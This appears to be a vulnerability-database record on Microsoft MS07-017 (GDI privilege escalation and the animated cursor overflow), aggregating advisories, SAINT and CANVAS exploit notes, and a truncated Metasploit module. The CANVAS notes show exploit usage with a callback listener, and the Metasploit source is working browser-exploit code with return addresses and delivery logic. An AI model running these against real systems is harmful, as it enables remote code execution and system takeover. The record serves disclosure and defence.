"cpe:2.3:o:microsoft:windows_2003_server:gold:*:itanium:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:sp2:professional_x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2000:*:sp4:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp2:*:itanium:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp2:*:*:*:*:*:*:*"]}], "osvdb": [{"lastseen": "2017-04-28T13:20:30", "bulletinFamily": "software", "cvelist": ["CVE-2006-5586"], "description": "# No description provided by the source\n\n## References:\nSecurity Tracker: 1017846\n[Related OSVDB ID: 34098](https://vulners.com/osvdb/OSVDB:34098)\n[Related OSVDB ID: 34097](https://vulners.com/osvdb/OSVDB:34097)\n[Related OSVDB ID: 34099](https://vulners.com/osvdb/OSVDB:34099)\n[Related OSVDB ID: 34095](https://vulners.com/osvdb/OSVDB:34095)\nMicrosoft Security Bulletin: MS07-017\nMicrosoft Knowledge Base Article: 925902\nKeyword: aka the \"GDI Invalid Window Size Elevation of Privilege Vulnerability.\" \nFrSIRT Advisory: ADV-2007-1215\n[CVE-2006-5586](https://vulners.com/cve/CVE-2006-5586)\nBugtraq ID: 23277\n", "edition": 1, "modified": "2007-04-03T19:48:26", "published": "2007-04-03T19:48:26", "href": "https://vulners.com/osvdb/OSVDB:34096", "id": "OSVDB:34096", "title": "Microsoft Windows GDI Invalid Window Size Local Privilege Escalation", "type": "osvdb", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-04-28T13:20:26", "bulletinFamily": "software", "cvelist": ["CVE-2006-5758"], "description": "# No description provided by the source\n\n## References:\nSecurity Tracker: 1017168\n[Secunia Advisory ID:22668](https://secuniaresearch.flexerasoftware.com/advisories/22668/)\nOther Advisory URL: http://projects.info-pull.com/mokb/MOKB-06-11-2006.html\nMicrosoft Security Bulletin: MS07-017\nMicrosoft Knowledge Base Article: 925902\nKeyword: Month of Kernel Bugs (MoKB)\nISS X-Force ID: 30042\nFrSIRT Advisory: ADV-2006-4358\n[CVE-2006-5758](https://vulners.com/cve/CVE-2006-5758)\nBugtraq ID: 20940\n", "edition": 1, "modified": "2006-11-06T11:33:40", "published": "2006-11-06T11:33:40", "href": "https://vulners.com/osvdb/OSVDB:30214", "id": "OSVDB:30214", "title": "Microsoft Windows GDI Kernel Structure Modification Code Execution", "type": "osvdb", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-04-28T13:20:30", "bulletinFamily": "software", "cvelist": ["CVE-2007-1212"], "description": "# No description provided by the source\n\n## References:\nSecurity Tracker: 1017844\n[Related OSVDB ID: 34096](https://vulners.com/osvdb/OSVDB:34096)\n[Related OSVDB ID: 34098](https://vulners.com/osvdb/OSVDB:34098)\n[Related OSVDB ID: 34099](https://vulners.com/osvdb/OSVDB:34099)\n[Related OSVDB ID: 34095](https://vulners.com/osvdb/OSVDB:34095)\nMicrosoft Security Bulletin: MS07-017\nMicrosoft Knowledge Base Article: 925902\nFrSIRT Advisory: ADV-2007-1215\n[CVE-2007-1212](https://vulners.com/cve/CVE-2007-1212)\nBugtraq ID: 23278\n", "edition": 1, "modified": "2007-04-03T19:48:26", "published": "2007-04-03T19:48:26", "href": "https://vulners.com/osvdb/OSVDB:34097", "id": "OSVDB:34097", "title": "Microsoft Windows GDI Enhanced Metafile (EMF) Handling Local Privilege Escalation", "type": "osvdb", "cvss": {"score": 6.6, "vector": "AV:LOCAL/AC:MEDIUM/Au:SINGLE_INSTANCE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-04-28T13:20:30", "bulletinFamily": "software", "cvelist": ["CVE-2007-1215"], "description": "# No description provided by the source\n\n## References:\nSecurity Tracker: 1017847\n[Related OSVDB ID: 34096](https://vulners.com/osvdb/OSVDB:34096)\n[Related OSVDB ID: 34098](https://vulners.com/osvdb/OSVDB:34098)\n[Related OSVDB ID: 34097](https://vulners.com/osvdb/OSVDB:34097)\n[Related OSVDB ID: 34099](https://vulners.com/osvdb/OSVDB:34099)\nMicrosoft Security Bulletin: MS07-017\nMicrosoft Knowledge Base Article: 925902\nFrSIRT Advisory: ADV-2007-1215\n[CVE-2007-1215](https://vulners.com/cve/CVE-2007-1215)\nBugtraq ID: 23273\n", "edition": 1, "modified": "2007-04-03T19:48:26", "published": "2007-04-03T19:48:26", "href": "https://vulners.com/osvdb/OSVDB:34095", "id": "OSVDB:34095", "title": "Microsoft Windows GDI Crafted Image Local Privilege Escalation", "type": "osvdb", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-04-28T13:20:30", "bulletinFamily": "software", "cvelist": ["CVE-2007-1211"], "description": "# No description provided by the source\n\n## References:\nSecurity Tracker: 1017843\n[Related OSVDB ID: 34096](https://vulners.com/osvdb/OSVDB:34096)\n[Related OSVDB ID: 34097](https://vulners.com/osvdb/OSVDB:34097)\n[Related OSVDB ID: 34099](https://vulners.com/osvdb/OSVDB:34099)\n[Related OSVDB ID: 34095](https://vulners.com/osvdb/OSVDB:34095)\nOther Advisory URL: http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=499\nMicrosoft Security Bulletin: MS07-017\nMicrosoft Knowledge Base Article: 925902\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2007-04/0041.html\nISS X-Force ID: 33258\nFrSIRT Advisory: ADV-2007-1215\n[CVE-2007-1211](https://vulners.com/cve/CVE-2007-1211)\nBugtraq ID: 23275\n", "edition": 1, "modified": "2007-04-03T19:48:26", "published": "2007-04-03T19:48:26", "href": "https://vulners.com/osvdb/OSVDB:34098", "id": "OSVDB:34098", "title": "Microsoft Windows GDI Functions Windows Metafile (WMF) Handling DoS", "type": "osvdb", "cvss": {"score": 7.1, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:NONE/I:NONE/A:COMPLETE/"}}, {"lastseen": "2017-04-28T13:20:30", "bulletinFamily": "software", "cvelist": ["CVE-2007-1213"], "description": "# No description provided by the source\n\n## References:\nSecurity Tracker: 1017845\n[Related OSVDB ID: 34096](https://vulners.com/osvdb/OSVDB:34096)\n[Related OSVDB ID: 34098](https://vulners.com/osvdb/OSVDB:34098)\n[Related OSVDB ID: 34097](https://vulners.com/osvdb/OSVDB:34097)\n[Related OSVDB ID: 34095](https://vulners.com/osvdb/OSVDB:34095)\nMicrosoft Security Bulletin: MS07-017\nMicrosoft Knowledge Base Article: 925902\nFrSIRT Advisory: ADV-2007-1215\n[CVE-2007-1213](https://vulners.com/cve/CVE-2007-1213)\nBugtraq ID: 23276\n", "edition": 1, "modified": "2007-04-03T19:48:26", "published": "2007-04-03T19:48:26", "href": "https://vulners.com/osvdb/OSVDB:34099", "id": "OSVDB:34099", "title": "Microsoft Windows TrueType Fonts Rasterizer Local Privilege Escalation", "type": "osvdb", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-04-28T13:20:29", "bulletinFamily": "software", "cvelist": ["CVE-2007-0038", "CVE-2007-1765"], "description": "## Vulnerability Description\nA remote overflow exists in Microsoft Internet Explorer. The browser fails to check the buffer on animated cursors and icons resulting in a stack buffer overflow. With a specially crafted request, an attacker can execute arbitrary code resulting in a loss of integrity.\n## Solution Description\nCurrently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released a patch to address this vulnerability.\n## Short Description\nA remote overflow exists in Microsoft Internet Explorer. The browser fails to check the buffer on animated cursors and icons resulting in a stack buffer overflow. With a specially crafted request, an attacker can execute arbitrary code resulting in a loss of integrity.\n## References:\nVendor Specific Solution URL: http://www.microsoft.com/technet/security/bulletin/ms07-apr.mspx\nVendor Specific News/Changelog Entry: http://blogs.technet.com/msrc/archive/2007/04/01/latest-on-security-update-for-microsoft-security-advisory-935423.aspx\nVendor Specific News/Changelog Entry: http://www.microsoft.com/technet/security/advisory/935423.mspx\n[Vendor Specific Advisory URL](http://blogs.technet.com/msrc/archive/2007/03/29/microsoft-security-advisory-935423-posted.aspx)\n[Vendor Specific Advisory URL](http://www.microsoft.com/technet/security/advisory/935423.mspx)\nSecurity Tracker: 1017827\n[Secunia Advisory ID:24659](https://secuniaresearch.flexerasoftware.com/advisories/24659/)\nOther Solution URL: http://zert.isotf.org/advisories/zert-2007-01.htm\nOther Solution URL: http://research.eeye.com/html/alerts/zeroday/20070328.html\nOther Advisory URL: http://www.avertlabs.com/research/blog/?p=230\nOther Advisory URL: http://vil.nai.com/vil/content/v_141860.htm\nOther Advisory URL: http://www.avertlabs.com/research/blog/?p=233\nOther Advisory URL: http://www.determina.com/security_center/security_advisories/securityadvisory_0day_032907.asp\nNews Article: http://news.softpedia.com/news/Windows-Vista-Suicide-Courtesy-of-McAfee-50761.shtml\nNews Article: http://www.informationweek.com/news/showArticle.jhtml?articleID=198800828\nNews Article: http://www.securityfocus.com/brief/474?ref=rss\nNews Article: http://news.bbc.co.uk/2/hi/technology/6526851.stm\nNews Article: http://www.securityfocus.com/brief/472?ref=rss\nNews Article: http://www.informationweek.com/news/showArticle.jhtml?articleID=198900231\nMicrosoft Security Bulletin: MS07-017\nMicrosoft Knowledge Base Article: 925902\nMail List Post: http://archives.neohapsis.com/archives/fulldisclosure/2007-03/0470.html\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2007-04/0013.html\nGeneric Exploit URL: http://whitestar.linuxbox.org/pipermail/exploits/2007-March/000167.html\nGeneric Exploit URL: http://www.milw0rm.com/exploits/3636\nGeneric Exploit URL: http://metasploit.com/svn/framework3/trunk/modules/exploits/windows/email/ani_loadimage_chunksize.rb\nGeneric Exploit URL: http://www.milw0rm.com/exploits/3635\nGeneric Exploit URL: http://asert.arbornetworks.com/2007/04/never-slow-down-ms07-017-ani-exploit\nGeneric Exploit URL: http://www.milw0rm.com/exploits/3634\nGeneric Exploit URL: http://metasploit.com/svn/framework3/trunk/modules/exploits/windows/browser/ani_loadimage_chunksize.rb\nFrSIRT Advisory: ADV-2007-1151\n[CVE-2007-0038](https://vulners.com/cve/CVE-2007-0038)\n[CVE-2007-1765](https://vulners.com/cve/CVE-2007-1765)\nCERT VU: 191609\nBugtraq ID: 23194\n", "edition": 1, "modified": "2007-03-29T18:34:47", "published": "2007-03-29T18:34:47", "href": "https://vulners.com/osvdb/OSVDB:33629", "id": "OSVDB:33629", "title": "Microsoft IE Animated Cursor (.ani) Handling Arbitrary Command Execution", "type": "osvdb", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "saint": [{"lastseen": "2016-10-03T15:01:59", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-5758"], "description": "Added: 05/25/2009 \nCVE: [CVE-2006-5758](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5758>) \nBID: [20940](<http://www.securityfocus.com/bid/20940>) \nOSVDB: [30214](<http://www.osvdb.org/30214>) \n\n\n### Background\n\nThe Graphics Rendering Engine in Microsoft Windows 2000 and Windows XP maps GDI Kernel structures on a global shared memory section that is created with insecure permissions. \n\n### Problem\n\nUsers with local access can remap the shared section, and overwrite kernel structures in a controlled manner leading to the execution of code with SYSTEM level privileges. \n\n### Resolution\n\nApply the patch referenced in [Microsoft Security Bulletin 07-017](<http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx>). \n\n### References\n\n<http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx> \n<http://projects.info-pull.com/mokb/MOKB-06-11-2006.html> \n\n\n### Limitations\n\nA current connection must exist with the target. \n \nThis exploit will elevate the priviliges of the current connection to SYSTEM. \n\n### Platforms\n\nWindows 2000 / Windows XP \n \n\n", "edition": 1, "modified": "2009-05-25T00:00:00", "published": "2009-05-25T00:00:00", "id": "SAINT:2E9567F8A64B2B21D9641C36E3ACBF8F", "href": "http://www.saintcorporation.com/cgi-bin/exploit_info/windows_gdi_priv_elev", "type": "saint", "title": "Windows GDI Privilege Elevation", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-05-29T17:19:54", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-5758"], "edition": 2, "description": "Added: 05/25/2009 \nCVE: [CVE-2006-5758](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5758>) \nBID: [20940](<http://www.securityfocus.com/bid/20940>) \nOSVDB: [30214](<http://www.osvdb.org/30214>) \n\n\n### Background\n\nThe Graphics Rendering Engine in Microsoft Windows 2000 and Windows XP maps GDI Kernel structures on a global shared memory section that is created with insecure permissions. \n\n### Problem\n\nUsers with local access can remap the shared section, and overwrite kernel structures in a controlled manner leading to the execution of code with SYSTEM level privileges. \n\n### Resolution\n\nApply the patch referenced in [Microsoft Security Bulletin 07-017](<http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx>). \n\n### References\n\n<http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx> \n<http://projects.info-pull.com/mokb/MOKB-06-11-2006.html> \n\n\n### Limitations\n\nA current connection must exist with the target. \n \nThis exploit will elevate the priviliges of the current connection to SYSTEM. \n\n### Platforms\n\nWindows 2000 / Windows XP \n \n\n", "modified": "2009-05-25T00:00:00", "published": "2009-05-25T00:00:00", "href": "http://download.saintcorporation.com/cgi-bin/exploit_info/windows_gdi_priv_elev", "id": "SAINT:67A661F4F4DA6EA02D0983D05D3791BF", "type": "saint", "title": "Windows GDI Privilege Elevation", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-06-04T23:19:30", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-5758"], "description": "Added: 05/25/2009 \nCVE: [CVE-2006-5758](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5758>) \nBID: [20940](<http://www.securityfocus.com/bid/20940>) \nOSVDB: [30214](<http://www.osvdb.org/30214>) \n\n\n### Background\n\nThe Graphics Rendering Engine in Microsoft Windows 2000 and Windows XP maps GDI Kernel structures on a global shared memory section that is created with insecure permissions. \n\n### Problem\n\nUsers with local access can remap the shared section, and overwrite kernel structures in a controlled manner leading to the execution of code with SYSTEM level privileges. \n\n### Resolution\n\nApply the patch referenced in [Microsoft Security Bulletin 07-017](<http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx>). \n\n### References\n\n<http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx> \n<http://projects.info-pull.com/mokb/MOKB-06-11-2006.html> \n\n\n### Limitations\n\nA current connection must exist with the target. \n \nThis exploit will elevate the priviliges of the current connection to SYSTEM. \n\n### Platforms\n\nWindows 2000 / Windows XP \n \n\n", "edition": 4, "modified": "2009-05-25T00:00:00", "published": "2009-05-25T00:00:00", "id": "SAINT:958585E4475A4084F4758A67ABFEAE9E", "href": "https://my.saintcorporation.com/cgi-bin/exploit_info/windows_gdi_priv_elev", "title": "Windows GDI Privilege Elevation", "type": "saint", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2016-10-03T15:01:58", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-0038"], "description": "Added: 04/05/2007 \nCVE: [CVE-2007-0038](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0038>) \nBID: [23194](<http://www.securityfocus.com/bid/23194>) \nOSVDB: [33629](<http://www.osvdb.org/33629>) \n\n\n### Background\n\nAnimated cursor (`**.ani**`) files contain animated graphics for icons and cursors. \n\n### Problem\n\nA buffer overflow in Windows allows command execution when opening a specially crafted `**.ani**` file containing large file headers. \n\n### Resolution\n\nApply the update referenced in [Microsoft Security Bulletin 07-017](<http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx>). \n\n### References\n\n<http://www.kb.cert.org/vuls/id/191609> \n<http://archives.neohapsis.com/archives/fulldisclosure/2007-03/0470.html> \n\n\n### Limitations\n\nExploit works with Internet Explorer 6 on Windows 2000 and XP and requires a user to load the page. \n\n### Platforms\n\nWindows \n \n\n", "edition": 1, "modified": "2007-04-05T00:00:00", "published": "2007-04-05T00:00:00", "id": "SAINT:DEFDB9AA215F08BD83C3C57ACA4AFF92", "href": "http://www.saintcorporation.com/cgi-bin/exploit_info/windows_animated_cursor", "type": "saint", "title": "Windows Animated Cursor Header buffer overflow", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-05-29T17:19:48", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-0038"], "edition": 2, "description": "Added: 04/05/2007 \nCVE: [CVE-2007-0038](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0038>) \nBID: [23194](<http://www.securityfocus.com/bid/23194>) \nOSVDB: [33629](<http://www.osvdb.org/33629>) \n\n\n### Background\n\nAnimated cursor (`**.ani**`) files contain animated graphics for icons and cursors. \n\n### Problem\n\nA buffer overflow in Windows allows command execution when opening a specially crafted `**.ani**` file containing large file headers. \n\n### Resolution\n\nApply the update referenced in [Microsoft Security Bulletin 07-017](<http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx>). \n\n### References\n\n<http://www.kb.cert.org/vuls/id/191609> \n<http://archives.neohapsis.com/archives/fulldisclosure/2007-03/0470.html> \n\n\n### Limitations\n\nExploit works with Internet Explorer 6 on Windows 2000 and XP and requires a user to load the page. \n\n### Platforms\n\nWindows \n \n\n", "modified": "2007-04-05T00:00:00", "published": "2007-04-05T00:00:00", "id": "SAINT:CA3A90A2B38DBFEEF76116D7B7385FF9", "href": "http://download.saintcorporation.com/cgi-bin/exploit_info/windows_animated_cursor", "type": "saint", "title": "Windows Animated Cursor Header buffer overflow", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-06-04T23:19:34", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-0038"], "description": "Added: 04/05/2007 \nCVE: [CVE-2007-0038](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0038>) \nBID: [23194](<http://www.securityfocus.com/bid/23194>) \nOSVDB: [33629](<http://www.osvdb.org/33629>) \n\n\n### Background\n\nAnimated cursor (`**.ani**`) files contain animated graphics for icons and cursors. \n\n### Problem\n\nA buffer overflow in Windows allows command execution when opening a specially crafted `**.ani**` file containing large file headers. \n\n### Resolution\n\nApply the update referenced in [Microsoft Security Bulletin 07-017](<http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx>). \n\n### References\n\n<http://www.kb.cert.org/vuls/id/191609> \n<http://archives.neohapsis.com/archives/fulldisclosure/2007-03/0470.html> \n\n\n### Limitations\n\nExploit works with Internet Explorer 6 on Windows 2000 and XP and requires a user to load the page. \n\n### Platforms\n\nWindows \n \n\n", "edition": 4, "modified": "2007-04-05T00:00:00", "published": "2007-04-05T00:00:00", "id": "SAINT:EC623DDF0D94167DFEA4789C6129F515", "href": "https://my.saintcorporation.com/cgi-bin/exploit_info/windows_animated_cursor", "title": "Windows Animated Cursor Header buffer overflow", "type": "saint", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "canvas": [{"lastseen": "2019-05-29T17:19:25", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-5758"], "edition": 2, "description": "**Name**| GDIWrite4 \n---|--- \n**CVE**| CVE-2006-5758 \n**Exploit Pack**| [CANVAS](<http://http://www.immunityinc.com/products-canvas.shtml>) \n**Description**| GDIWrite4 (MS07-017) \n**Notes**| CVE Name: CVE-2006-5758 \nVENDOR: Microsoft \nNotes: \n \nThis exploit will auto-target based on reading a kernel file on Windows 2000 \nor XP. It will generate a target fingerprint when you run the auto-targeter - \nthis is useful when you don't have read access to the kernel files and still want \nto run the exploit. It will leave a SYSTEM token as your current token, if it succeeds \n \n#example commandline usage on Windows 2000 SP4 English \n#we set our callback IP to 10.10.10.6 in the test lab \nrunmodule GDIWrite4 -l 10.10.10.6 -d 5555 \n \nMake sure you have a listener listening already before you run the above \ncommand. \n./commandlineInterface -v 1 -p 5555 \n \nIf you get the wrong version, (-v 1 on an XP box, say) you'll see a PAGE FAULT \nIN NON PAGED AREA bluescreen. \n \nOn XP this was fixed with KB925902 \n \nMSRC: http://www.microsoft.com/technet/security/Bulletin/ms07-017.mspx \nMSADV: MS07-017 \nDate public: 11/06/2006 \nCVE Url: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5758 \nCVSS: 7.2 \n\n", "modified": "2006-11-06T20:07:00", "published": "2006-11-06T20:07:00", "id": "GDIWRITE4", "href": "http://exploitlist.immunityinc.com/home/exploitpack/CANVAS/GDIWrite4", "type": "canvas", "title": "Immunity Canvas: GDIWRITE4", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T17:19:24", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-0038"], "description": "**Name**| ani_cursor \n---|--- \n**CVE**| CVE-2007-0038 \n**Exploit Pack**| [CANVAS](<http://http://www.immunityinc.com/products-canvas.shtml>) \n**Description**| Windows Animated Cursor Overflow (MS07-017) \n**Notes**| References: http://www.determina.com/security.research/vulnerabilities/ani-header.html \nCVE Name: CVE-2007-0038 \nVENDOR: Microsoft \nMSADV: MS07-017 \nVersionsAffected: \nRepeatability: Infinite \nMSRC: http://www.microsoft.com/technet/security/Bulletin/ms07-017.mspx \nCVE Url: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0038 \nDate public: 03/28/07 \nCVSS: 9.3 \n\n", "edition": 2, "modified": "2007-03-30T20:19:00", "published": "2007-03-30T20:19:00", "id": "ANI_CURSOR", "href": "http://exploitlist.immunityinc.com/home/exploitpack/CANVAS/ani_cursor", "title": "Immunity Canvas: ANI_CURSOR", "type": "canvas", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2016-12-05T22:23:58", "description": "", "published": "2010-04-15T00:00:00", "type": "packetstorm", "title": "Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP)", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-0038"], "modified": "2010-04-15T00:00:00", "id": "PACKETSTORM:88402", "href": "https://packetstormsecurity.com/files/88402/Windows-ANI-LoadAniIcon-Chunk-Size-Stack-Overflow-HTTP.html", "sourceData": "`## \n# $Id: ms07_017_ani_loadimage_chunksize.rb 9085 2010-04-15 16:08:27Z jduck $ \n## \n \n## \n# This file is part of the Metasploit Framework and may be subject to \n# redistribution and commercial restrictions. Please see the Metasploit \n# Framework web site for more information on licensing and terms of use. \n# http://metasploit.com/framework/ \n## \n \nrequire 'msf/core' \n \nclass Metasploit3 < Msf::Exploit::Remote \nRank = GreatRanking \n \n# \n# This module acts as a HTTP server \n# \ninclude Msf::Exploit::Remote::HttpServer::HTML \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP)', \n'Description' => %q{ \nThis module exploits a buffer overflow vulnerability in the \nLoadAniIcon() function in USER32.dll. The flaw can be triggered through \nInternet Explorer 6 and 7 by using the CURSOR style sheet directive \nto load a malicious .ANI file. The module can also exploit Mozilla \nFirefox by using a UNC path in a moz-icon URL and serving the .ANI file \nover WebDAV. The vulnerable code in USER32.dll will catch any \nexceptions that occur while the invalid cursor is loaded, causing the \nexploit to silently fail when the wrong target has been chosen. \n \nThis vulnerability was discovered by Alexander Sotirov of Determina \nand was rediscovered, in the wild, by McAfee. \n}, \n \n'Author' => \n[ \n'hdm', # First version \n'skape', # Vista support \n \n# Firefox support, OS language independence, improved reliability \n'Solar Eclipse <solareclipse@phreedom.org>' \n], \n'License' => MSF_LICENSE, \n'Version' => '$Revision: 9085 $', \n'References' => \n[ \n['CVE', '2007-0038'], \n['OSVDB', '33629'], \n['BID', '23194'], \n['MSB', 'MS07-017'], \n['URL', 'http://www.microsoft.com/technet/security/advisory/935423.mspx'], \n['URL', 'http://www.determina.com/security.research/vulnerabilities/ani-header.html'], \n], \n'DefaultOptions' => \n{ \n'EXITFUNC' => 'process', \n}, \n'Payload' => \n{ \n'Space' => 1024 + (rand(1000)), \n'Compat' => \n{ \n'ConnectionType' => '-find', \n} \n}, \n'Platform' => 'win', \n \n# Automatic target tested on: \n# \n# Windows NT SP6 + IE6 SP1 \n# Windows 2000 SP4 + IE6 SP1 \n# Windows 2000 SP4 UR1 + IE6 SP1 \n# Windows XP SP0 \n# Windows XP SP1 \n# Windows XP SP2 \n# Windows XP SP2 + IE7 \n# Windows 2003 SP0 \n# Windows 2003 SP1 \n# Windows 2003 SP1 + IE7 \n# Windows Vista \n# \n# Windows XP SP0 + Firebird 0.7 \n# Windows XP SP0 + Firefox 1.0 \n# Windows XP SP0 + Firefox 1.5 \n# Windows XP SP2 + Firefox 2.0 \n# Windows 2003 SP1 + Firefox 2.0 \n# Windows Vista + Firefox 2.0 \n \n'Targets' => \n[ \n[ '(Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista', \n{ \n'Method' => 'automatic' \n} \n], \n[ 'IE6 on Windows NT, 2000, XP, 2003 (all languages)', \n{ \n'Method' => 'jmpesp', \n'Ret1' => 0x0040afff, # jmp esp on NT, 2000, XP, 2003 SP0 (iexplore.exe) \n'Ret2' => 0x004090df # jmp esp on 2003 SP1, SP2 (iexplore.exe) \n} \n], \n[ 'IE7 on Windows XP SP2, 2003 SP1, SP2 (all languages)', \n{ \n'Method' => 'jmpesp', \n'Ret1' => 0x00420B45, # jmp esp on XP SP2 (iexplore.exe) \n'Ret2' => 0x00420B45 # jmp esp on 2003 SP1, SP2 (iexplore.exe) \n} \n], \n[ 'IE7 and Firefox on Windows Vista (all languages)', \n{ \n'Method' => 'partial', \n'Ret' => 0x700B # we change user32.dll+5879 to user32.dll+700B (jmp [ebx] in user32.dll) \n} \n], \n[ 'Firefox on Windows XP (English)', \n{ \n'Method' => 'jmpesp', \n'Ret1' => 0x77059E48, # jmp esp on XP (comres.dll) \n'Ret2' => 0x77019668 # jmp esp on 2003 SP1, SP2 (comres.dll) \n} \n], \n[ 'Firefox on Windows 2003 (English)', \n{ \n'Method' => 'jmpesp', \n'Ret1' => 0x77019668, # jmp esp on 2003 SP0 (comres.dll) \n'Ret2' => 0x77019668 # jmp esp on 2003 SP1, SP2 (comres.dll) \n} \n], \n], \n'DisclosureDate' => 'Mar 28 2007', \n'DefaultTarget' => 0)) \n \nregister_options( \n[ \nOptPort.new('SRVPORT', [ true, \"The daemon port to listen on\", 80 ]), \nOptString.new('URIPATH', [ true, \"The URI to use.\", \"/\" ]) \n], self.class) \nend \n \n \n# \n# Handle HTTP requests \n# \n \ndef on_request_uri(cli, request) \n \n# \n# Automatic browser and OS detection \n# \n \nprint_status(\"Attempting to exploit ani_loadimage_chunksize\") \nbrowser = '' \n \nif target['Method'] == 'automatic' \n \nagent = request.headers['User-Agent'] \n \n# Check for Firefox requests \n \nif agent =~ /(Gecko|Microsoft-WebDAV-MiniRedir)/ \n \nbrowser = 'Mozilla' \n \n# WebDAV requires that we use port 80 and the URIPATH is '/' \n \nif datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' \nprint_status(\"Mozilla request received from #{cli.peerhost}. To exploit Mozilla browsers, SRVPORT must be set to 80 and URIPATH must be '/'\") \ncli.send_response(create_response(404, \"File not found\")) \nreturn \nend \n \nif agent =~ /(Windows NT 6\\.0|MiniRedir\\/6\\.0)/ \ntarget = targets[3] # Firefox on Vista \nelsif agent =~ /(Windows NT 5\\.1|MiniRedir\\/5\\.1)/ \ntarget = targets[4] # Firefox on XP \nelsif agent =~ /(Windows NT 5\\.2|MiniRedir\\/5\\.2)/ \ntarget = targets[5] # Firefox on 2003 \nelse \nprint_status(\"Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}\") \nreturn \nend \n \n# Check for MSIE requests \n \nelsif agent =~ /MSIE/ \n \nbrowser = 'IE' \n \nif agent =~ /Windows NT 6\\.0/ \ntarget = targets[3] # IE7 on Vista \nelsif agent =~ /MSIE 7\\.0/ \ntarget = targets[2] # IE7 on XP and 2003 \nelsif agent =~ /MSIE 6\\.0/ \ntarget = targets[1] # IE6 on NT, 2000, XP and 2003 \nelse \nprint_status(\"Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}\") \nreturn \nend \n \n# Unknown user agent \n \nelse \nprint_status(\"Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}\") \nreturn \nend \n \nend \n \n# \n# Find out if this is a request for an ANI file \n# \n \n# Mozilla always uses a .ani extension, but IE randomly picks one of the \n# other extensions for the ANI request \nexts = ['bmp', 'wav', 'png', 'zip', 'tar', 'ani'] \n \nani_request = false \n \nmatch = /\\.(...)$/.match(request.uri) \n \nif match and exts.include?(match[1]) \nani_request = true \nend \n \n# \n# OPTIONS and PROPFIND requests sent by the WebDav Mini-Redirector \n# \n \nif request.method == 'OPTIONS' \nprint_status(\"Received WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}\") \nheaders = { \n'DASL' => '<DAV:sql>', \n'DAV' => '1, 2', \n'Public' => 'OPTIONS, GET, PROPFIND', \n'Allow' => 